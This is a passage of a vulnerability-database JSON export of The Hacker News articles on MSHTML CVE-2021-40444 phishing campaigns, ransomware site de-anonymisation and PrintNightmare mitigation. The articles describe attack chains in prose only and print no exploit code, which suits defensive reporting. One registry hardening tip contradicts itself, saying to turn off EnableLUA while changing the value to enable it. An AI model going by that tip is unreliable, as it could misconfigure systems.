[disclosing](<https://thehackernews.com/2021/09/windows-mshtml-0-day-exploited-to.html>) a targeted phishing campaign that abused the vulnerability as part of an initial access campaign to distribute custom Cobalt Strike Beacon loaders.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-11-25T11:33:00", "type": "thn", "title": "Hackers Using Microsoft MSHTML Flaw to Spy on Targeted PCs with Malware", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-12-22T07:07:24", "id": "THN:C4188C7A44467E425407D33067C14094", "href": "https://thehackernews.com/2021/11/hackers-using-microsoft-mshtml-flaw-to.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:18", "description": "[](<https://thehackernews.com/images/-3vEprTVA4BI/YULvTEzYNCI/AAAAAAAADz0/RpSk1fU9GbcY7e98Gg2r8aBRvy73Z52kACLcBGAsYHQ/s0/cyberattack.jpg>)\n\nMicrosoft on Wednesday disclosed details of a targeted phishing campaign that leveraged a now-patched zero-day flaw in its MSHTML platform using specially-crafted Office documents to deploy Cobalt Strike Beacon on compromised Windows systems.\n\n\"These attacks used the vulnerability, tracked as [CVE-2021-40444](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40444>), as part of an initial access campaign that distributed custom Cobalt Strike Beacon loaders,\" Microsoft Threat Intelligence Center [said](<https://www.microsoft.com/security/blog/2021/09/15/analyzing-attacks-that-exploit-the-mshtml-cve-2021-40444-vulnerability/>) in a technical write-up. \"These loaders communicated with an infrastructure that Microsoft associates with multiple cybercriminal campaigns, including human-operated ransomware.\"\n\nDetails about CVE-2021-40444 (CVSS score: 8.8) first [emerged](<https://thehackernews.com/2021/09/new-0-day-attack-targeting-windows.html>) on September 7 after researchers from EXPMON alerted the Windows maker about a \"highly sophisticated zero-day attack\" aimed at Microsoft Office users by taking advantage of a remote code execution vulnerability in MSHTML (aka Trident), a proprietary browser engine for the now-discontinued Internet Explorer and which is used in Office to render web content inside Word, Excel, and PowerPoint documents.\n\n\"The observed attack vector relies on a malicious ActiveX control that could be loaded by the browser rendering engine using a malicious Office document,\" the researchers noted. Microsoft has since [rolled out a fix](<https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html>) for the vulnerability as part of its Patch Tuesday updates a week later on September 14.\n\nThe Redmond-based tech giant attributed the activities to related cybercriminal clusters it tracks as DEV-0413 and DEV-0365, the latter of which is the company's moniker for the emerging threat group associated with creating and managing the Cobalt Strike infrastructure used in the attacks. The earliest exploitation attempt by DEV-0413 dates back to August 18.\n\nThe exploit delivery mechanism originates from emails impersonating contracts and legal agreements hosted on file-sharing sites. Opening the malware-laced document leads to the download of a Cabinet archive file containing a DLL bearing an INF file extension that, when decompressed, leads to the execution of a function within that DLL. The DLL, in turn, retrieves remotely hosted shellcode \u2014 a custom Cobalt Strike Beacon loader \u2014 and loads it into the Microsoft address import tool.\n\nAdditionally, Microsoft said some of the infrastructures that were used by DEV-0413 to host the malicious artifacts were also involved in the delivery of BazaLoader and Trickbot payloads, a separate set of activities the company monitors under the codename DEV-0193 (and by Mandiant as UNC1878).\n\n\"At least one organization that was successfully compromised by DEV-0413 in their August campaign was previously compromised by a wave of similarly-themed malware that interacted with DEV-0365 infrastructure almost two months before the CVE-2021-40444 attack,\" the researchers said. \"It is currently not known whether the retargeting of this organization was intentional, but it reinforces the connection between DEV-0413 and DEV-0365 beyond sharing of infrastructure.\"\n\nIn an independent investigation, Microsoft's RiskIQ subsidiary attributed the attacks with high confidence to a ransomware syndicate known as Wizard Spider aka Ryuk, noting that the network infrastructure employed to provide command-and-control to the Cobalt Strike Beacon implants spanned more than 200 active servers.\n\n\"The association of a zero-day exploit with a ransomware group, however remote, is troubling,\" RiskIQ researchers [said](<https://www.riskiq.com/blog/external-threat-management/wizard-spider-windows-0day-exploit/>). It suggests either that turnkey tools like zero-day exploits have found their way into the already robust ransomware-as-a-service (RaaS) ecosystem or that the more operationally sophisticated groups engaged in traditional, government-backed espionage are using criminally controlled infrastructure to misdirect and impede attribution.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-09-16T07:19:00", "type": "thn", "title": "Windows MSHTML 0-Day Exploited to Deploy Cobalt Strike Beacon in Targeted Attacks", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-11-12T15:17:20", "id": "THN:59AE75C78D4644BFA6AD90225B3DE0C1", "href": "https://thehackernews.com/2021/09/windows-mshtml-0-day-exploited-to.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-09T12:37:47", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEgA-QKrMYatN3F_M4-v7x9HM6nvdPD1OS7NKKkIRgnsnSvlLAXRgr6hsKEZ00atwgnoL5cprjlDTBz9OCZqP7C83Y62uK7Zhq5VsgW8BYehEgXjsimQXbNn7rdTOaC96Glv7wizMuFukmGaa6Uo3KZH5Wejk3G_0r9eLqZqjNOspdt5uUMkJ6gyxsw8>)\n\nA short-lived phishing campaign has been observed taking advantage of a novel exploit that bypassed a patch put in place by Microsoft to fix a remote code execution vulnerability affecting the MSHTML component with the goal of delivering Formbook malware.\n\n\"The attachments represent an escalation of the attacker's abuse of the CVE-2021-40444 bug and demonstrate that even a patch can't always mitigate the actions of a motivated and sufficiently skilled attacker,\" SophosLabs researchers Andrew Brandt and Stephen Ormandy [said](<https://news.sophos.com/en-us/2021/12/21/attackers-test-cab-less-40444-exploit-in-a-dry-run/>) in a new report published Tuesday.\n\n[CVE-2021-40444](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40444>) (CVSS score: 8.8) relates to a remote code execution flaw in MSHTML that could be exploited using specially crafted Microsoft Office documents. Although Microsoft addressed the security weakness as part of its September 2021 [Patch Tuesday updates](<https://thehackernews.com/2021/09/microsoft-releases-patch-for-actively.html>), it has been put to use in [multiple attacks](<https://thehackernews.com/2021/09/new-0-day-attack-targeting-windows.html>) ever since details pertaining to the flaw became public.\n\nThat same month, the technology giant [uncovered](<https://thehackernews.com/2021/09/windows-mshtml-0-day-exploited-to.html>) a targeted phishing campaign that leveraged the vulnerability to deploy Cobalt Strike Beacons on compromised Windows systems. Then in November, SafeBreach Labs [reported](<https://thehackernews.com/2021/11/hackers-using-microsoft-mshtml-flaw-to.html>) details of an Iranian threat actor operation that targeted Farsi-speaking victims with a new PowerShell-based information stealer designed to gather sensitive information.\n\nThe new campaign discovered by Sophos aims to get around the patch's protection by morphing a publicly available [proof-of-concept Office exploit](<https://github.com/Edubr2020/CVE-2021-40444--CABless/blob/main/MS_Windows_CVE-2021-40444%20-%20'Ext2Prot'%20Vulnerability%20'CABless'%20version.pdf>) and weaponizing it to distribute Formbook malware. The cybersecurity firm said the success of the attack can, in part, be attributed to a \"too-narrowly focused patch.\"\n\n[](<https://thehackernews.com/new-images/img/a/AVvXsEgASEZ8KvlSBJz1x7Q76isjFrCp75Cd_9NaVZvtMfqRufKRIArSQn1kxLXk86-Tc0o12JfC_n6X-nPIvoEO3JsIgDQ7_PAcEYpeiqvhKofLuQ_e7qZik3FJ-7KTq5CGjh3R7RDATGz4b_HmeYkqXa4dKpvAvSXu-47iGQrPd2IjnRxR4klHyplckGLB>)\n\n\"In the initial versions of CVE-2021-40444 exploits, [the] malicious Office document retrieved a malware payload packaged into a Microsoft Cabinet (or .CAB) file,\" the researchers explained. \"When Microsoft's patch closed that loophole, attackers discovered they could use a different attack chain altogether by enclosing the maldoc in a specially crafted RAR archive.\"\n\n**CAB-less 40444**, as the modified exploit is called, lasted for 36 hours between October 24 and 25, during which spam emails containing a malformed RAR archive file were sent to potential victims. The RAR file, in turn, included a script written in Windows Script Host ([WSH](<https://en.wikipedia.org/wiki/Windows_Script_Host>)) and a Word Document that, upon opening, contacted a remote server hosting malicious JavaScript.\n\nConsequently, the JavaScript code utilized the Word Document as a conduit to launch the WSH script and execute an embedded PowerShell command in the RAR file to retrieve the [Formbook](<https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook>) malware payload from an attacker-controlled website.\n\nAs for why the exploit disappeared a little over a day in use, clues lie in the fact that the modified RAR archive files wouldn't work with older versions of the WinRAR utility. \"So, unexpectedly, in this case, users of the much older, outdated version of WinRAR would have been better protected than users of the latest release,\" the researchers said.\n\n\"This research is a reminder that patching alone cannot protect against all vulnerabilities in all cases,\" SophosLabs Principal Researcher Andrew Brandt said. \"Setting restrictions that prevent a user from accidentally triggering a malicious document helps, but people can still be lured into clicking the 'enable content' button.\"\n\n\"It is therefore vitally important to educate employees and remind them to be suspicious of emailed documents, especially when they arrive in unusual or unfamiliar compressed file formats from people or companies they don't know,\" Brandt added. When reached for a response, a Microsoft spokesperson said \"we are investigating these reports and will take appropriate action as needed to help keep customers protected.\"\n\n**_Update:_** Microsoft told The Hacker News that the aforementioned exploit was indeed addressed with security updates that were released in September 2021. Sophos now notes that the CAB-less 40444 exploit \"may have evaded mitigations of CVE-2021-40444 without the September patch focused on the CAB-style attack\" and that the patch blocks the malicious behavior.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 7.8, "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-12-22T07:45:00", "type": "thn", "title": "New Exploit Lets Malware Attackers Bypass Patch for Critical Microsoft MSHTML Flaw", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-40444"], "modified": "2021-12-29T03:33:40", "id": "THN:8A60310AB796B7372A105B7C8811306B", "href": "https://thehackernews.com/2021/12/new-exploit-lets-malware-attackers.html", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-07-06T07:58:10", "description": "[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEhW8mCPe27LdzHLP4ngj6tlt2Pg8kCf_fM8vePiD96oqVL7MUOW8zxZlXFGU1HvblavK2Xdcm0tf2j7r5qbvTV9iW1N9M95vbWmuFsGUq0MkEeY7rnkpeop76NG41Eys_CeiCVl0xS8l4E21-RosfCrVOTGYR8jNw1F5Q2v-OjF2MeqKfBbPn6bDseq/s728-e100/ransomware.jpg>)\n\nCybersecurity researchers have detailed the various measures ransomware actors have taken to obscure their true identity online as well as the hosting location of their web server infrastructure.\n\n\"Most ransomware operators use hosting providers outside their country of origin (such as Sweden, Germany, and Singapore) to host their ransomware operations sites,\" Cisco Talos researcher Paul Eubanks [said](<https://blog.talosintelligence.com/2022/06/de-anonymizing-ransomware-domains-on.html>). \"They use VPS hop-points as a proxy to hide their true location when they connect to their ransomware web infrastructure for remote administration tasks.\"\n\nAlso prominent are the use of the TOR network and DNS proxy registration services to provide an added layer of anonymity for their illegal operations.\n\nBut by taking advantage of the threat actors' operational security missteps and other techniques, the cybersecurity firm disclosed last week that it was able to identify TOR hidden services hosted on public IP addresses, some of which are previously unknown infrastructure associated with [DarkAngels](<https://blog.cyble.com/2022/05/06/rebranded-babuk-ransomware-in-action-darkangels-ransomware-performs-targeted-attack/>), [Snatch](<https://malpedia.caad.fkie.fraunhofer.de/details/win.snatch>), [Quantum](<https://www.cybereason.com/blog/cybereason-vs.-quantum-locker-ransomware>), and [Nokoyawa](<https://malpedia.caad.fkie.fraunhofer.de/details/win.nokoyawa>) ransomware groups.\n\nWhile ransomware groups are known to rely on the dark web to conceal their illicit activities ranging from leaking stolen data to negotiating payments with victims, Talos disclosed that it was able to identify \"public IP addresses hosting the same threat actor infrastructure as those on the dark web.\"\n\n\"The methods we used to identify the public internet IPs involved matching threat actors' [self-signed] [TLS certificate](<https://www.digicert.com/tls-ssl/tls-ssl-certificates>) serial numbers and page elements with those indexed on the public internet,\" Eubanks said.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjaV9wVlzzeADW3plTap4jOh9fqaG1M5Q8q7q-pX6vbN6EAWqHqnEEvq-nA0yW2N64kchUyacQRbSQXnYk0i2qcd2Lxjiu4alpeum5cu6QCPMBvjt90TSKl-7opy4d0YCn8MX_tPYh7B04Vidh2gZfgYJXxKGevp9NbNa8lZg-DQGZXl7xjDrvwfK89/s728-e100/cert.jpg>)\n\nBesides TLS certificate matching, a second method employed to uncover the adversaries' clear web infrastructures entailed checking the favicons associated with the darknet websites against the public internet using web crawlers like Shodan.\n\nIn the case of [Nokoyawa](<https://www.fortinet.com/blog/threat-research/nokoyawa-variant-catching-up>), a new Windows ransomware strain that appeared earlier this year and shares substantial code similarities with Karma, the site hosted on the TOR hidden service was found to harbor a directory traversal flaw that enabled the researchers to access the \"[/var/log/auth.log](<https://help.ubuntu.com/community/LinuxLogFiles>)\" file used to capture user logins.\n\nThe findings demonstrate that not only are the criminal actors' leak sites accessible for any user on the internet, other infrastructure components, including identifying server data, were left exposed, effectively making it possible to obtain the login locations used to administer the ransomware servers.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEiKBfxqmczj3qrieqIFbqxh8pEIBTtSz9_BdFyfDEKmGEjCUPpH7QhuZsHt6jxBWgKWU2wcnFlthPIVmExegrtxg0bzvUln74smXx6Krggvf6_bQ9tr_o1NRTxCcjmsINrMdRyZpvXHdS8zZSeFCw8zi_qx2puc2SGz4zIL9dtTRKkdNSYZMGX3KE3p/s728-e100/keys.jpg>)\n\nFurther analysis of the successful root user logins showed that they originated from two IP addresses 5.230.29[.]12 and 176.119.0[.]195, the former of which belongs to GHOSTnet GmbH, a hosting provider that offers Virtual Private Server (VPS) services.\n\n\"176.119.0[.]195 however belongs to AS58271 which is listed under the name Tyatkova Oksana Valerievna,\" Eubanks noted. \"It's possible the operator forgot to use the German-based VPS for obfuscation and logged into a session with this web server directly from their true location at 176.119.0[.]195.\"\n\n### LockBit adds a bug bounty program to its revamped RaaS operation\n\nThe development comes as the operators of the emerging [Black Basta](<https://thehackernews.com/2022/06/cybersecurity-experts-warn-of-emerging.html>) ransomware [expanded](<https://www.trendmicro.com/en_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html>) their attack arsenal by using QakBot for initial access and lateral movement, and taking advantage of the PrintNightmare vulnerability ([CVE-2021-34527](<https://thehackernews.com/2021/07/microsoft-warns-of-new-unpatched.html>)) to conduct privileged file operations.\n\nWhat's more, the LockBit ransomware gang last week [announced](<https://twitter.com/vxunderground/status/1541156954214727685>) the release of LockBit 3.0 with the message \"Make Ransomware Great Again!,\" in addition to launching their own Bug Bounty program, offering rewards ranging between $1,000 and $1 million for identifying security flaws and \"brilliant ideas\" to improve its software.\n\n[](<https://thehackernews.com/new-images/img/b/R29vZ2xl/AVvXsEjwyY9trUR2Z6AyEmJ7Zm0vLXiYawK0UpJysKcAGEK4eyTyY-cibr3Vgf7ATbqzCSSUqeTQTR_TQkAtJ5XPpqiw8JZnWQg1KTo0ktefqdmaqc8XFgVp27DzMej76ut1FMMJ8h0r2U-UR72FNxbM4_q9ph1cAzMroG_05T9as1lDjAVK34y53Er0koFQ/s728-e100/bug.jpg>)\n\n\"The release of LockBit 3.0 with the introduction of a bug bounty program is a formal invitation to cybercriminals to help assist the group in its quest to remain at the top,\" Satnam Narang, senior staff research engineer at Tenable, said in a statement shared with The Hacker News.\n\n\"A key focus of the bug bounty program are defensive measures: Preventing security researchers and law enforcement from finding bugs in its leak sites or ransomware, identifying ways that members including the affiliate program boss could be doxed, as well as finding bugs within the messaging software used by the group for internal communications and the Tor network itself.\"\n\n\"The threat of being doxed or identified signals that law enforcement efforts are clearly a great concern for groups like LockBit. Finally, the group is planning to offer Zcash as a payment option, which is significant, as Zcash is harder to trace than Bitcoin, making it harder for researchers to keep tabs on the group's activity.\"\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-07-05T07:06:00", "type": "thn", "title": "Researchers Share Techniques to Uncover Anonymized Ransomware Sites on Dark Web", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2022-07-06T06:06:49", "id": "THN:849B821D3503018DA38FAFFBC34DAEBB", "href": "https://thehackernews.com/2022/07/researchers-share-techniques-to-uncover.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:37:27", "description": "[](<https://thehackernews.com/new-images/img/a/AVvXsEi78Lgh1-a_Rlugh-jIjcQsT3okz4dkvUH1BpDGD2uThowKvsO7WgxJ7CzE9cAixe67YOA9inVSnZzZWhfA7bAV4ymALr-GCIvlvpRTka6rQROItUoRgAGIdaDtlEUPPeof7gjztGdh1UfjFIt_ps35SJsa5HNgqIppsi2kHJdv2NVQR31hMzFoIXUh>)\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) and the Federal Bureau of Investigation (FBI) have released a joint advisory warning that Russia-backed threat actors hacked the network of an unnamed non-governmental entity by exploiting a combination of flaws.\n\n\"As early as May 2021, Russian state-sponsored cyber actors took advantage of a misconfigured account set to default [multi-factor authentication] protocols at a non-governmental organization (NGO), allowing them to enroll a new device for MFA and access the victim network,\" the agencies [said](<https://www.cisa.gov/uscert/ncas/alerts/aa22-074a>).\n\n\"The actors then exploited a critical Windows Print Spooler vulnerability, 'PrintNightmare' ([CVE-2021-34527](<https://thehackernews.com/2021/07/microsoft-warns-of-critical.html>)) to run arbitrary code with system privileges.\"\n\nThe attack was pulled off by gaining initial access to the victim organization via compromised credentials \u2013 obtained by means of a brute-force password guessing attack \u2013 and enrolling a new device in the organization's [Duo MFA](<https://duo.com/product/multi-factor-authentication-mfa>).\n\nIt's also noteworthy that the breached account was un-enrolled from Duo due to a long period of inactivity, but had not yet been disabled in the NGO's Active Directory, thereby allowing the attackers to escalate their privileges using the PrintNightmare flaw and disable the MFA service altogether.\n\n\"As Duo's default configuration settings allow for the re-enrollment of a new device for dormant accounts, the actors were able to enroll a new device for this account, complete the authentication requirements, and obtain access to the victim network,\" the agencies explained.\n\nTurning off MFA, in turn, allowed the state-sponsored actors to authenticate to the NGO's virtual private network (VPN) as non-administrator users, connect to Windows domain controllers via Remote Desktop Protocol (RDP), and obtain credentials for other domain accounts.\n\nIn the final stage of the attack, the newly compromised accounts were subsequently utilized to move laterally across the network to siphon data from the organization's cloud storage and email accounts.\n\nTo mitigate such attacks, both CISA and FBI are recommending organizations to enforce and review multi-factor authentication configuration policies, disable inactive accounts in Active Directory, and prioritize patching for [known exploited flaws](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>).\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-03-16T13:29:00", "type": "thn", "title": "FBI, CISA Warn of Russian Hackers Exploiting MFA and PrintNightmare Bug", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2022-03-16T13:29:45", "id": "THN:A52CF43B8B04C0A2F8413E17698F9308", "href": "https://thehackernews.com/2022/03/fbi-cisa-warn-of-russian-hackers.html", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-09T12:39:22", "description": "[](<https://thehackernews.com/images/-J4q0IawSomE/YOSMoHyRjgI/AAAAAAAABHE/cP0YFHHZFtA9uluA4FTtUF6qLpRtEeAEgCLcBGAsYHQ/s0/Microsoft-PrintSpooler-Vulnerability.jpg>)\n\nThis week, **PrintNightmare** \\- Microsoft's Print Spooler vulnerability (CVE-2021-34527) was upgraded from a 'Low' criticality to a 'Critical' criticality.\n\nThis is due to a Proof of Concept published on GitHub, which attackers could potentially leverage for gaining access to Domain Controllers.\n\nAs we [reported earlier](<https://thehackernews.com/2021/07/microsoft-warns-of-critical.html>), Microsoft already released a patch in June 2021, but it wasn't enough to stop exploits. Attackers can still use Print Spooler when connecting remotely. You can find all you need to know about this vulnerability in this article and how you can mitigate it (and you can). \n\n**Print Spooler in a nutshell:** Print Spooler is Microsoft's service for managing and monitoring files printing. This service is among Microsoft's oldest and has had minimal maintenance updates since it was released. \n\nEvery Microsoft machine (servers and endpoints) has this feature enabled by default.\n\n**PrintNightmare vulnerability:** As soon as an attacker gains limited user access to a network, he will be able to connect (directly or remotely) to the Print Spooler. Since the Print Spooler has direct access to the kernel, the attacker can use it to gain access to the operating system, run remote code with system privileges, and ultimately attack the Domain Controller.\n\nYour best option when it comes to mitigating the PrintNightmare vulnerability is to disable the Print Spooler on every server and/or sensitive workstation (such as administrators' workstations, direct internet-facing workstations, and non-printing workstations).\n\nThis is what Dvir Goren's, hardening expert and CTO at [CalCom Software Solutions](<https://www.calcomsoftware.com/?utm_source=HN>), suggests as your first move towards mitigation.\n\nFollow these steps to disable the Print Spooler service on Windows 10:\n\n 1. Open Start.\n 2. Search for PowerShell, right-click on it and select the Run as administrator.\n 3. Type the command and press Enter: _Stop-Service -Name Spooler -Force_\n 4. Use this command to prevent the service from starting back up again during restart: Set-Service -Name Spooler -StartupType Disabled\n\nAccording to Dvir's experience, 90% of servers do not require Print Spooler. It is the default configuration for most of them, so it is usually enabled. As a result, disabling it can solve 90% of your problem and have little impact on production.\n\nIn large and complex infrastructures, it can be challenging to locate where Print Spooler is used.\n\nHere are a few examples where Print Spooler is required:\n\n 1. When using Citrix services,\n 2. Fax servers,\n 3. Any application requiring virtual or physical printing of PDFs, XPSs, etc. Billing services and wage applications, for example.\n\nHere are a few examples when Print Spooler is not needed but enabled by default:\n\n 1. Domain Controller and Active Directory \u2013 the main risk in this vulnerability can be neutralized by practicing basic cyber hygiene. It makes no sense to have Print Spooler enabled in DCs and AD servers. \n 2. Member servers such as SQL, File System, and Exchange servers. \n 3. Machines that do not require printing. \n\nA few other hardening steps suggested by Dvir for machines dependent on Print Spooler include:\n\n 1. Replace the vulnerable Print Spooler protocol with a non-Microsoft service. \n 2. By changing 'Allow Print Spooler to accept client connections', you can restrict users' and drivers' access to the Print Spooler to groups that must use it.\n 3. Disable Print Spooler caller in Pre-Windows 2000 compatibility group.\n 4. Make sure that Point and Print is not configured to No Warning \u2013 check registry key SOFTWARE/Policies/Microsoft/Windows NT/Printers/PointAndPrint/NoElevationOnInstall for DWORD value 1 and change it to 0.\n 5. Turn off EnableLUA \u2013 check registry key SOFTWARE/Microsoft/Windows/CurrentVersion/Policies/System/EnableLUA for DWORD value 0 and change it to 1.\n\nHere's what you need to do next to ensure your organization is secure:\n\n 1. Identify where Print Spooler is being used on your network. \n 2. Map your network to find the machines that must use Print Spooler.\n 3. Disable Print Spooler on machines that do not use it. \n 4. For machines that require Print Spooler \u2013 configure them in a way to minimize its attack surface. \n\nBeside this, to find potential evidence of exploitation, you should also monitor Microsoft-Windows-PrintService/Admin log entries. There might be entries with error messages that indicate Print Spooler can't load plug-in module DLLs, although this can also happen if an attacker packaged a legitimate DLL that Print Spooler demands.\n\nThe final recommendation from Dvir is to implement these recommendations through[ hardening automation tools](<https://www.calcomsoftware.com/best-hardening-tools/?utm_source=HN>). Without automation, you will spend countless hours attempting to harden manually and may end up vulnerable or causing systems to go down\n\nAfter choosing your course of action, a [Hardening automation tool](<https://www.calcomsoftware.com/server-hardening-suite/?utm_source=HN>) will discover where Print Spooler is enabled, where they are actually used, and disable or reconfigure them automatically.\n\n \n\n\nFound this article interesting? Follow THN on [Facebook](<https://www.facebook.com/thehackernews>), [Twitter _\uf099_](<https://twitter.com/thehackersnews>) and [LinkedIn](<https://www.linkedin.com/company/thehackernews/>) to read more exclusive content we post.\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-07-08T09:32:00", "type": "thn", "title": "How to Mitigate Microsoft Print Spooler 